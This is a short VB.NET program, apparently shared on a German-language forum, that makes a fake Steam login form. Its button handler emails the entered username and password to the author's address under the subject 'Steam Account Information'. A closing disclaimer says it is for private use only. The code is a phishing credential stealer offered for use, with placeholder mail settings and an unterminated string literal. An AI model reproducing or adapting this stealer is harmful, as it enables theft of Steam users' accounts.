Imports System.Web
Imports System.IO
Imports System.Net.Mail
Public Class Form1
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Dim mail As New MailMessage
Dim SmtpServer As New SmtpClient
SmtpServer.Credentials = New Net.NetworkCredential("deine email adresse", "dein email passwort)
SmtpServer.Port = Email Port
SmtpServer.Host = "Email Host"
SmtpServer.EnableSsl = True
mail.To.Add("YOUR EMAIL")
mail.From = New MailAddress("deine email adresse")
mail.Subject = "Steam Account Information"
mail.Body = "Username: " & TextBox1.Text & " Passwort: " & TextBox2.Text
SmtpServer.Send(mail)
MsgBox("hier kannste nen text rein machen :D")
End Sub
Private Sub Label11_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Label11.Click
Me.Close()
End Sub
End Class
Dieses Programm darf nur für private Zwecke verwendet werden !
